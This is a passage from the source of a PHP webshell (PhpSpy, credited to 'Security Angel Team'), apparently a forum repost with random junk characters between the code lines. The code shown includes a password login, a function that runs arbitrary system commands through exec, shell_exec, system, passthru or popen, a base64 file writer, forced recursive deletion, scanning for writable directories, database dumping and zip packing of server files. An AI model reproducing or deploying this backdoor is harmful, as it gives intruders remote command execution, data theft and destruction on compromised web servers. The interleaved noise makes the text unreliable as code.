1278.                 19 => array('memory_limit',getcfg('memory_limit')),
      
1279.                 20 => array('post_max_size',getcfg('post_max_size')),
      8 y; E; m0 L: E/ ?5 w$ v
1280.                 21 => array('upload_max_filesize',$upsize),
      
1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
      $ D# O5 Z$ k" N7 M* E& I8 K4 `% w: n7 j# I
1282.                 23 => array('disable_functions',$dis_func),
      
1283.         );
      
1284. 
      
1285.         if($phpvarname) {
      
1286.                 m($phpvarname .' : '.getcfg($phpvarname));
      " q6 D+ g+ B, ~5 ?4 s: h
1287.         }
      8 D$ E. M/ U+ G$ D- j+ V
1288. 
      2 U% a' \  B! N' N0 y# d) U  O
1289.         formhead(array('title'=>'Server environment'));
      
1290.         makehide('action','phpenv');
      
1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
      
1292.         formfooter();
      ( |+ ?6 S& [" E( |% R
1293. 
      
1294.         $hp = array(0=> 'Server', 1=> 'PHP');
      - ~0 I8 n. g  l4 w
1295.         for($a=0;$a<2;$a++) {
      
1296.                 p('<h2>'.$hp[$a].' »</h2>');
      
1297.                 p('<ul class="info">');
      
1298.                 if ($a==0) {
      5 x/ W+ u' \6 K) d7 E
1299.                         for($i=1;$i<=9;$i++) {
      1 x4 r$ }9 s; o/ |
1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      
1301.                         }
      9 X7 A; r( q) \- {2 W+ [
1302.                 } elseif ($a == 1) {
      ) G' B& ~5 R- E/ E) ~
1303.                         for($i=10;$i<=23;$i++) {
      
1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      * B* f  T  K  n: _. V* K8 l& T: q
1305.                         }
      6 A2 z5 S/ D% s% t  V
1306.                 }
      7 y+ l! l) @& A* a% ]3 k& Z
1307.                 p('</ul>');
      : X( q0 Z7 @" O4 Y, p7 D
1308.         }
      3 [! F* q/ W$ z# X- D+ q' Z. r
1309. }//end phpenv
      
1310. 
      
1311. else {
      
1312.         m('Undefined Action');
      
1313. }
      
1314. 
      
1315. ?>
      
1316. </td></tr></table>
      3 C- ?: h! W1 s7 [& r6 ]
1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
      # {" f! [# `6 F* o, |+ v
1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
      
1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
      * w2 w1 U! m+ O6 c* l& M; p
1320. </div>
      - l3 P! C+ x, j4 q' c$ g
1321. </body>
      / h& H, Z" I* ?& l; W. I& h
1322. </html>
      ' z6 N+ m' f' _) R$ u# l8 K. |+ h
1323. 
      - f/ Z: {' c' B
1324. <?php
      
1325. 
      
1326. /*======================================================
      1 v: ^/ K8 y& V2 F
1327. 函数库
      
1328. ======================================================*/
      
1329. 
      
1330. function m($msg) {
      ! e3 z: M* |- S9 t- M
1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
      - F  o- U4 x8 L' z+ y
1332.         echo $msg;
      
1333.         echo '</div>';
      
1334. }
      
1335. function scookie($key, $value, $life = 0, $prefix = 1) {
      8 ?, |. i* [( j& q
1336.         global $admin, $timestamp, $_SERVER;
      
1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
      8 s# w. @# f- y5 q2 W1 c3 B* L
1338.         $life = $life ? $life : $admin['cookielife'];
      
1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
      7 Z9 [) u9 V0 _4 ]% a. @* v
1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
      
1341. }       
      
1342. function multi($num, $perpage, $curpage, $tablename) {
      
1343.         $multipage = '';
      
1344.         if($num > $perpage) {
      
1345.                 $page = 10;
      5 G- c# r5 n, z; @
1346.                 $offset = 5;
      " g% ~* U5 L4 Q; S. A$ d
1347.                 $pages = @ceil($num / $perpage);
      
1348.                 if($page > $pages) {
      
1349.                         $from = 1;
      
1350.                         $to = $pages;
      
1351.                 } else {
      
1352.                         $from = $curpage - $offset;
      - e& v5 s# H+ x+ k7 A5 F
1353.                         $to = $curpage + $page - $offset - 1;
      
1354.                         if($from < 1) {
      ; M8 G& f. r& A' I8 K
1355.                                 $to = $curpage + 1 - $from;
      - z* r2 H* w2 ^, j3 N' B+ e
1356.                                 $from = 1;
      " T$ q6 n- p3 @0 |" U3 Y
1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      
1358.                                         $to = $page;
      
1359.                                 }
      + T1 b* `  k2 K7 E
1360.                         } elseif($to > $pages) {
      
1361.                                 $from = $curpage - $pages + $to;
      ) B' B1 A0 ^- M; D" B% P
1362.                                 $to = $pages;
      5 Q4 w5 ~0 s) n. w; u8 E# d8 k8 V
1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      
1364.                                         $from = $pages - $page + 1;
      
1365.                                 }
      % R% n2 m! _' ~& Q6 H) Q
1366.                         }
      
1367.                 }
      " {. b$ L9 K5 S0 [/ W
1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
      
1369.                 for($i = $from; $i <= $to; $i++) {
      
1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
      
1371.                 }
      3 Y+ y6 O& k" _
1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
      
1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
      
1374.         }
      % F: b& {2 F  B  U7 k
1375.         return $multipage;
      3 o) \# h8 H: J! g- ?
1376. }
      
1377. // 登陆入口
      & i6 T0 U3 \+ \
1378. function loginpage() {
      
1379. ?>
      1 K) `! T( w1 v; Y
1380.         <style type="text/css">
      % k- B" A- e2 L7 ^
1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
      
1382.         </style>
      
1383.         <form method="POST" action="">
      6 [% \# B; r8 i7 a! U
1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
      + ~3 [" H+ g- z1 a5 ?
1385.         <input type="hidden" name="doing" value="login">
      & g0 _8 W- z( U  ?
1386.         <input type="submit" value="Login">
      
1387.         </form>
      
1388. <?php
      
1389.         exit;
      
1390. }//end loginpage()
      
1391. 
      $ P  S. O7 u( Y7 Z8 _3 _
1392. function execute($cfe) {
      . Y9 w" W" @9 F
1393.         $res = '';
      
1394.         if ($cfe) {
      
1395.                 if(function_exists('exec')) {
      
1396.                         @exec($cfe,$res);
      3 F1 |4 e# [  W
1397.                         $res = join("\n",$res);
      
1398.                 } elseif(function_exists('shell_exec')) {
        y0 i9 w; e' v
1399.                         $res = @shell_exec($cfe);
      . |5 s4 h. e% c: c& d
1400.                 } elseif(function_exists('system')) {
      
1401.                         @ob_start();
      
1402.                         @system($cfe);
      
1403.                         $res = @ob_get_contents();
      ' Z  ~& p3 N( N2 Z; \# ?" p
1404.                         @ob_end_clean();
      
1405.                 } elseif(function_exists('passthru')) {
      
1406.                         @ob_start();
      8 q% l8 h# h. s; _7 e
1407.                         @passthru($cfe);
      
1408.                         $res = @ob_get_contents();
      , R! u* d# w4 `% C. A
1409.                         @ob_end_clean();
      9 s4 {( T0 V2 U6 P& B' j
1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
      $ Q; f! q# ?# h. b8 x
1411.                         $res = '';
      
1412.                         while(!@feof($f)) {
      9 I$ L2 d! m, K  C
1413.                                 $res .= @fread($f,1024);
      9 o1 D2 V* v/ X2 A" z2 @5 j( x
1414.                         }
      & n# e4 R. u5 o
1415.                         @pclose($f);
      $ ?* b) L& l: Z- `- r
1416.                 }
      5 x, Z- c# _/ T$ d$ n
1417.         }
      " w6 d/ r5 h# o- M& E, A
1418.         return $res;
      4 ?( q* _6 g+ W- s$ |1 ~
1419. }
      # u5 r8 x6 X& c4 {* r* r: h& p
1420. function which($pr) {
      ; f' s- O$ g* [5 \$ \
1421.         $path = execute("which $pr");
      
1422.         return ($path ? $path : $pr);
      & l1 }  p' W) \# y' B
1423. }
      
1424. 
      
1425. function cf($fname,$text){
      
1426.         if($fp=@fopen($fname,'w')) {
      
1427.                 @fputs($fp,@base64_decode($text));
      
1428.                 @fclose($fp);
      
1429.         }
      5 n( d' c) |* ?: W. v1 d
1430. }
      
1431. 
      
1432. // 页面调试信息
      
1433. function debuginfo() {
      
1434.         global $starttime;
      
1435.         $mtime = explode(' ', microtime());
        u+ t7 V, I! k  V
1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
      
1437.         echo 'Processed in '.$totaltime.' second(s)';
      * b/ s9 W  i$ @: E# v7 z
1438. }
      
1439. 
      
1440. //连接数据库
      
1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
      
1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
      5 h8 I" r) Z1 Z( f$ z  Y5 W
1443.                 p('<h2>Can not connect to MySQL server</h2>');
      * u% j! ^, k4 H7 z# o; `# I
1444.                 exit;
      0 L  w4 E9 _# S$ t9 {' _
1445.         }
      
1446.         if($link && $dbname) {
      , H: h1 C7 A0 r/ e8 l7 X
1447.                 if (!@mysql_select_db($dbname, $link)) {
      
1448.                         p('<h2>Database selected has error</h2>');
      & _8 f$ G2 |$ E- v5 i
1449.                         exit;
      
1450.                 }
      
1451.         }
      # l; M3 @/ }8 N* G) P9 A8 W
1452.         if($link && mysql_get_server_info() > '4.1') {
      ) S6 |! F4 j7 v& e8 W0 N
1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
      % `; g) U8 Y4 K
1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
      : d4 x, B1 w" I# I* @3 s8 @( B
1455.                 }
      
1456.         }
      
1457.         return $link;
      
1458. }
      
1459. 
      
1460. // 去掉转义字符
      
1461. function s_array(&$array) {
      1 X+ V! g* z3 g  |
1462.         if (is_array($array)) {
      : {1 v: r- [' S! f) J! b
1463.                 foreach ($array as $k => $v) {
      9 q) x0 b3 P, w6 K6 D* s
1464.                         $array[$k] = s_array($v);
      0 F- @# f( ]% T
1465.                 }
      " `( A# c# V: B% ]! ]/ X3 z& r# ^* Y
1466.         } else if (is_string($array)) {
      - S) c8 ?" V3 ^# x
1467.                 $array = stripslashes($array);
      2 {2 L) a' W( ?1 E
1468.         }
      % j2 U9 B6 }6 \" O$ ]' Z
1469.         return $array;
      
1470. }
      & ?# T  ]3 `4 i3 [/ }4 V) N7 f
1471. 
      
1472. // 清除HTML代码
        F/ p5 v; |% X8 v
1473. function html_clean($content) {
      ! ?0 J) G/ S8 w/ E5 U
1474.         $content = htmlspecialchars($content);
      
1475.         $content = str_replace("\n", "<br />", $content);
      
1476.         $content = str_replace("  ", "  ", $content);
        Z# N- r" G9 R2 j; n* B
1477.         $content = str_replace("\t", "    ", $content);
      
1478.         return $content;
      
1479. }
      5 I$ h7 P  B3 d( K8 I1 x- I
1480. 
      
1481. // 获取权限
      
1482. function getChmod($filepath){
      0 |* z/ e( E9 i; L2 C+ n
1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
      - k, X# f( @1 Z/ y& G+ y! a
1484. }
      
1485. 
      
1486. function getPerms($filepath) {
      * U% M4 P, Q9 R9 q
1487.         $mode = @fileperms($filepath);
      
1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
      
1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
      1 M- \9 w9 U( ^2 S( B
1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
      
1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
      
1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
      
1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
      % F* A4 U) \7 f" D& t% }( d5 q* {
1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
      . V+ r% N/ U0 I2 Q0 s% Y3 B
1495.         else {$type = '?';}
      
1496. 
      
1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
      
1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
      " W& w2 J. B& _1 Z6 x
1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
      
1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
      9 [+ t; S- [+ H1 G, z% ]
1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
      
1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
      1 i: d- i3 X( y: {7 w3 {) ]. L  X
1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';
      # w9 D9 Z# p+ G* b# i
1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
      
1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
      
1506. 
      0 c" b8 [3 S- \; n, O* o/ _: S1 _/ i- t
1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
      ( Q. z+ U9 {7 ], `7 g
1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
      
1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
      0 E! `; U" U; c' u
1510. 
      
1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
      + m' Q" E; P$ @$ y! q, s
1512. }
      
1513. 
      
1514. function getUser($filepath)        {
      
1515.         if (function_exists('posix_getpwuid')) {
      / t6 ~* g' `7 H- L/ F0 x
1516.                 $array = @posix_getpwuid(@fileowner($filepath));
      - q8 `* _6 `% i) p
1517.                 if ($array && is_array($array)) {
      
1518.                         return ' / <a href="#" title="User: '.$array['name'].'
      
1519. Passwd: '.$array['passwd'].'
      
1520. Uid: '.$array['uid'].'
      
1521. gid: '.$array['gid'].'
      
1522. Gecos: '.$array['gecos'].'
      
1523. Dir: '.$array['dir'].'
      
1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
      0 n1 j* ?5 w( C9 k5 ~1 s- G
1525.                 }
      3 n" F9 m( ?" A1 r$ L, B; _* }9 p
1526.         }
      8 w5 X+ e9 U/ A" q: V% z) b! @
1527.         return '';
      
1528. }
      % H$ @8 L0 L6 ~
1529. 
      + [" j( q, w1 R& R
1530. // 删除目录
      7 B4 v  N3 \9 D9 ^
1531. function deltree($deldir) {
      
1532.         $mydir=@dir($deldir);       
      
1533.         while($file=$mydir->read())        {                
      
1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
      
1535.                         @chmod($deldir.'/'.$file,0777);
      4 b( A2 u  X- ~- W3 t& C$ u% P1 V" f" Q
1536.                         deltree($deldir.'/'.$file);
      9 R) ?; ?) _& Q3 u% x! [1 z- M+ J
1537.                 }
      ; P0 J8 j7 C) ^- `0 v% a/ F% ]
1538.                 if (is_file($deldir.'/'.$file)) {
      % q8 g) ^: T; H# V6 d& m0 g
1539.                         @chmod($deldir.'/'.$file,0777);
      - A* m" X$ C% H, O4 b* ]1 C
1540.                         @unlink($deldir.'/'.$file);
      * M% e* v' ?5 }$ j+ ~; o7 O( A
1541.                 }
      - q- C- Q1 y# u, c2 B, ~. i' ]
1542.         }
      
1543.         $mydir->close();
      
1544.         @chmod($deldir,0777);
      ' q! x) c5 h/ y, {8 T8 C+ D8 H
1545.         return @rmdir($deldir) ? 1 : 0;
      - X$ Z% @( `$ h/ j
1546. }
      
1547. 
      % |8 N2 E  C+ j5 n( z$ [* \* \
1548. // 表格行间的背景色替换
      
1549. function bg() {
      ' X# M- E1 E7 q6 C" K" h; H6 y5 F
1550.         global $bgc;
      - v4 e. I9 e* l( i0 J6 L
1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
      
1552. }
      
1553. 
      
1554. // 获取当前的文件系统路径
      4 ?7 E  M/ g! W' x- Z6 Z
1555. function getPath($scriptpath, $nowpath) {
      ; G# R2 h" ^/ I" D( Z1 Q3 p
1556.         if ($nowpath == '.') {
      
1557.                 $nowpath = $scriptpath;
      
1558.         }
      
1559.         $nowpath = str_replace('\\', '/', $nowpath);
      
1560.         $nowpath = str_replace('//', '/', $nowpath);
      ; T5 l  P8 \) `0 I. _
1561.         if (substr($nowpath, -1) != '/') {
      
1562.                 $nowpath = $nowpath.'/';
      9 J% m0 M( N- S3 u3 z9 H
1563.         }
      
1564.         return $nowpath;
      
1565. }
      
1566. 
      
1567. // 获取当前目录的上级目录
      4 T/ s  Z/ ~6 |/ e5 E, L9 M
1568. function getUpPath($nowpath) {
      4 l1 {! C: m3 E. `: Q
1569.         $pathdb = explode('/', $nowpath);
      
1570.         $num = count($pathdb);
      & d% ^& a' X! ]  `$ g5 v! a1 v
1571.         if ($num > 2) {
      
1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);
      
1573.         }
      2 i. E- T" P$ Y. x  S2 e6 A1 C- K
1574.         $uppath = implode('/', $pathdb).'/';
      5 |' A& H7 R  o! U4 h% n
1575.         $uppath = str_replace('//', '/', $uppath);
      
1576.         return $uppath;
      + F" |- |3 j# \' u
1577. }
      
1578. 
      
1579. // 检查PHP配置参数
      6 V6 [% T1 S2 Z* L3 [+ \# ~
1580. function getcfg($varname) {
      
1581.         $result = get_cfg_var($varname);
      
1582.         if ($result == 0) {
      
1583.                 return 'No';
      
1584.         } elseif ($result == 1) {
      6 D2 W8 K4 Z) c5 I
1585.                 return 'Yes';
        J& w+ ?: Y5 q) W8 o7 m6 L; ?" ~
1586.         } else {
      6 V# j, f  Z+ v0 L& f8 J8 r
1587.                 return $result;
      
1588.         }
      8 V5 q) i, d5 W+ h' e
1589. }
      
1590. 
      
1591. // 检查函数情况
      
1592. function getfun($funName) {
      8 M  f/ }+ U: ], M6 z
1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
      
1594. }
      , }% Q" d' J5 z+ O! B! W
1595. 
      ' ~3 _/ K6 J' M1 ?( o, Z5 S
1596. function GetList($dir){
      
1597.         global $dirdata,$j,$nowpath;
      * U# f# {, u' m
1598.         !$j && $j=1;
      % n& e4 f9 y2 {% L& \) n
1599.         if ($dh = opendir($dir)) {
      4 ^( `8 i8 Q$ ?1 m" d" L6 y
1600.                 while ($file = readdir($dh)) {
      
1601.                         $f=str_replace('//','/',$dir.'/'.$file);
      ; m9 m! k1 v% C* A( `8 ]
1602.                         if($file!='.' && $file!='..' && is_dir($f)){
      
1603.                                 if (is_writable($f)) {
      . ^4 f3 w% t: Y2 z7 ?& h
1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
      
1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
      
1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
      
1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
      * ]4 M# }4 Z0 f* ?( K8 R
1608.                                         $dirdata[$j]['dirlink']=ue($dir);
      
1609.                                         $dirdata[$j]['server_link']=$f;
      $ J% _2 m. i" e( ]
1610.                                         $dirdata[$j]['client_link']=ue($f);
      ' i8 N, ]6 J: J
1611.                                         $j++;
      , q' R7 K, c$ J" |2 Y
1612.                                 }
      / O- L8 \- c1 t( c
1613.                                 GetList($f);
      
1614.                         }
      5 K, O2 @7 C$ k+ B6 p# W: G
1615.                 }
      
1616.                 closedir($dh);
      , b4 L0 X1 F$ u6 G( E9 \. o& C
1617.                 clearstatcache();
      
1618.                 return $dirdata;
      ) Q3 i& b/ C3 I4 O
1619.         } else {
      - d& a8 }) t% w
1620.                 return array();
      
1621.         }
      & q# T. X# {) R& H6 @3 e, Z! v) n
1622. }
      
1623. 
      2 @# k, K5 H4 S
1624. function qy($sql) {
      
1625.         //echo $sql.'<br>';
      
1626.         $res = $error = '';
      
1627.         if(!$res = @mysql_query($sql)) {
      3 W4 {/ B6 B. [! j' A  B$ O; J, @
1628.                 return 0;
      ! U: B$ `4 T; G( f: ]% ~$ q7 ]4 R
1629.         } else if(is_resource($res)) {
      
1630.                 return 1;
      
1631.         } else {
      
1632.                 return 2;
      
1633.         }       
      2 w( r& {, e; ?5 y
1634.         return 0;
      - g" }! i: l- |2 @; t2 {5 D
1635. }
      % Y- x9 {0 s1 K" e; U& ]
1636. 
      
1637. function q($sql) {
      
1638.         return @mysql_query($sql);
      - c7 t" x* H1 F" e' s- b
1639. }
      
1640. 
      
1641. function fr($qy){
      ) f& G4 t: n! J$ q3 |
1642.         mysql_free_result($qy);
      0 |" b" p) Y  d* |: a) U
1643. }
      
1644. 
      " s9 o. c9 R) \( j
1645. function sizecount($size) {
      
1646.         if($size > 1073741824) {
      
1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
      4 C( D* L* R  l* j. q
1648.         } elseif($size > 1048576) {
      1 Y% i2 U* j9 M3 ]# h9 B& u
1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';
      
1650.         } elseif($size > 1024) {
      
1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
      ( E) S  J9 C, F6 h# ]
1652.         } else {
      
1653.                 $size = $size . ' B';
      
1654.         }
      
1655.         return $size;
      
1656. }
      
1657. 
      
1658. // 压缩打包类
      
1659. class PHPZip{
      7 A; ~) ]% Z* X' B, t! q
1660.         var $out='';
      
1661.         function PHPZip($dir)        {
      
1662.                 if (@function_exists('gzcompress'))        {
      " U% i. d" L) g" R5 F5 I5 W
1663.                         $curdir = getcwd();
      1 Z8 p6 O0 k) ?! X
1664.                         if (is_array($dir)) $filelist = $dir;
      
1665.                         else{
      
1666.                                 $filelist=$this -> GetFileList($dir);//文件列表
      " }6 ^) P# h, J/ S7 s, C
1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
      
1668.                         }
      
1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
      9 o$ [  X( F8 ^# _# f7 W3 @
1670.                         else chdir($curdir);
        h" s6 h6 h6 n/ k) \
1671.                         if (count($filelist)>0){
      
1672.                                 foreach($filelist as $filename){
      
1673.                                         if (is_file($filename)){
      
1674.                                                 $fd = fopen ($filename, 'r');
      & V. J, n* B5 i* r7 |/ r
1675.                                                 $content = @fread ($fd, filesize($filename));
      7 b+ n! ~( v; E' D# V- f' ?
1676.                                                 fclose ($fd);
      
1677.                                                 if (is_array($dir)) $filename = basename($filename);
      ; D/ c! v1 x1 T0 b% u9 ]2 t
1678.                                                 $this -> addFile($content, $filename);
      
1679.                                         }
      
1680.                                 }
      
1681.                                 $this->out = $this -> file();
      0 u# {+ W) S' p
1682.                                 chdir($curdir);
      8 a, I! s. [1 i( G8 @
1683.                         }
      
1684.                         return 1;
      
1685.                 }
      ( d0 ~4 X# k& i# E& @
1686.                 else return 0;
      
1687.         }
      : Q* A, I8 U, I7 \0 @
1688. 
      
1689.         // 获得指定目录文件列表
      
1690.         function GetFileList($dir){
      
1691.                 static $a;
      6 j+ h. ]+ I; K/ M
1692.                 if (is_dir($dir)) {
      
1693.                         if ($dh = opendir($dir)) {
      
1694.                                 while ($file = readdir($dh)) {
      $ A. G  B; m, x3 L/ a
1695.                                         if($file!='.' && $file!='..'){
      
1696.                                                 $f=$dir .'/'. $file;
      " J- Q$ a8 l: V" S' H0 C
1697.                                                 if(is_dir($f)) $this->GetFileList($f);
      
1698.                                                 $a[]=$f;
      
1699.                                         }
      
1700.                                 }
      ' S1 z8 |0 ]# H* I  M* `
1701.                                 closedir($dh);
      2 D9 Z5 t! j8 j0 F! z
1702.                         }
      2 k* I- A) F6 [5 Z) j) v
1703.                 }
      5 u5 `  \& A9 Q. H. {
1704.                 return $a;
      ) i% _3 m2 c6 V
1705.         }
      
1706. 
      
1707.         var $datasec      = array();
      
1708.         var $ctrl_dir     = array();
      : }) R0 L8 ?, I3 a& z- G
1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
      
1710.         var $old_offset   = 0;
      1 X9 _% U5 Q7 j9 d! {% V2 h6 G
1711. 
      
1712.         function unix2DosTime($unixtime = 0) {
      
1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
      # S2 P+ T2 Q5 F3 U7 k& f) o
1714.                 if ($timearray['year'] < 1980) {
      
1715.                         $timearray['year']    = 1980;
      
1716.                         $timearray['mon']     = 1;
      ! V" y6 Y- r0 r# w0 x+ `
1717.                         $timearray['mday']    = 1;
      
1718.                         $timearray['hours']   = 0;
      
1719.                         $timearray['minutes'] = 0;
      
1720.                         $timearray['seconds'] = 0;
      
1721.                 } // end if
      9 R) w( W% E3 P  u: |8 F, d* h
1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
      . [* i  G0 A0 s" l7 E
1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
      ) k% V9 e2 `2 E) e0 ]
1724.         }
      
1725.         function addFile($data, $name, $time = 0) {
      8 y' J: X& E. {. u2 x
1726.                 $name = str_replace('\\', '/', $name);
      
1727.                 $dtime = dechex($this->unix2DosTime($time));
      
1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]
      
1729.                                         . '\x' . $dtime[4] . $dtime[5]
      " j! a( M& J  J( S. Q9 N
1730.                                         . '\x' . $dtime[2] . $dtime[3]
      
1731.                                         . '\x' . $dtime[0] . $dtime[1];
      $ }8 S. Y) W* \" g  M
1732.                 eval('$hexdtime = "' . $hexdtime . '";');
      
1733.                 $fr        = "\x50\x4b\x03\x04";
      + a* ?  k( F# A5 A. P
1734.                 $fr        .= "\x14\x00";
      
1735.                 $fr        .= "\x00\x00";
      
1736.                 $fr        .= "\x08\x00";
      
1737.                 $fr        .= $hexdtime;
      
1738.                 $unc_len = strlen($data);
      
1739.                 $crc = crc32($data);
      
1740.                 $zdata = gzcompress($data);
      : z! l6 m9 }! p; @: e
1741.                 $c_len = strlen($zdata);
      
1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
      : m6 ?- M7 ^$ z- ?9 X# |: j
1743.                 $fr .= pack('V', $crc);
      
1744.                 $fr .= pack('V', $c_len);
      : R9 u4 {6 B( o; K! |
1745.                 $fr .= pack('V', $unc_len);
      
1746.                 $fr .= pack('v', strlen($name));
      
1747.                 $fr .= pack('v', 0);
      
1748.                 $fr .= $name;
      ' Z) G6 |6 k' E! D/ @
1749.                 $fr .= $zdata;
      ; H9 I1 V& w2 {3 B8 u
1750.                 $fr .= pack('V', $crc);
      
1751.                 $fr .= pack('V', $c_len);
      
1752.                 $fr .= pack('V', $unc_len);
      
1753.                 $this -> datasec[] = $fr;
      1 t$ c! P5 j% _' Y* j) i. u* M
1754.                 $new_offset = strlen(implode('', $this->datasec));
      
1755.                 $cdrec = "\x50\x4b\x01\x02";
      
1756.                 $cdrec .= "\x00\x00";
      ' B' Z8 S; Z! v
1757.                 $cdrec .= "\x14\x00";
      % ~. p- u/ R7 b# T3 ^, r
1758.                 $cdrec .= "\x00\x00";
      6 Z, |3 v2 j8 _5 F2 U) Y. G/ y/ W7 O4 U
1759.                 $cdrec .= "\x08\x00";
      
1760.                 $cdrec .= $hexdtime;
      
1761.                 $cdrec .= pack('V', $crc);
      
1762.                 $cdrec .= pack('V', $c_len);
      
1763.                 $cdrec .= pack('V', $unc_len);
      / O& w+ c2 h$ @. i+ L
1764.                 $cdrec .= pack('v', strlen($name) );
      
1765.                 $cdrec .= pack('v', 0 );
      
1766.                 $cdrec .= pack('v', 0 );
      . c8 U9 j. k' d+ k; H
1767.                 $cdrec .= pack('v', 0 );
      
1768.                 $cdrec .= pack('v', 0 );
      
1769.                 $cdrec .= pack('V', 32 );
      
1770.                 $cdrec .= pack('V', $this -> old_offset );
      
1771.                 $this -> old_offset = $new_offset;
      1 w* M5 f+ m- i6 t5 }4 ~
1772.                 $cdrec .= $name;
      
1773.                 $this -> ctrl_dir[] = $cdrec;
      
1774.         }
      
1775.         function file() {
      % V2 b/ e% t; D0 F  @* O
1776.                 $data    = implode('', $this -> datasec);
      9 f* d# S) j0 E: V
1777.                 $ctrldir = implode('', $this -> ctrl_dir);
      
1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
      
1779.         }
      - p$ h& W5 ~1 u4 q* [' R8 {" J
1780. }
      
1781. // 备份数据库
      % Y( |; }$ f+ q0 J7 K
1782. function sqldumptable($table, $fp=0) {
      + X- C8 K0 d1 `. y# I" C& \
1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
      7 [, r0 y% p  H+ e; s- _
1784.         $tabledump .= "CREATE TABLE $table (\n";
      
1785.         $firstfield=1;
      : D6 O1 d2 q7 N
1786.         $fields = q("SHOW FIELDS FROM $table");
      ' _5 J$ b7 l: M$ W
1787.         while ($field = mysql_fetch_array($fields)) {
      8 \' B# G4 W2 D% J
1788.                 if (!$firstfield) {
      
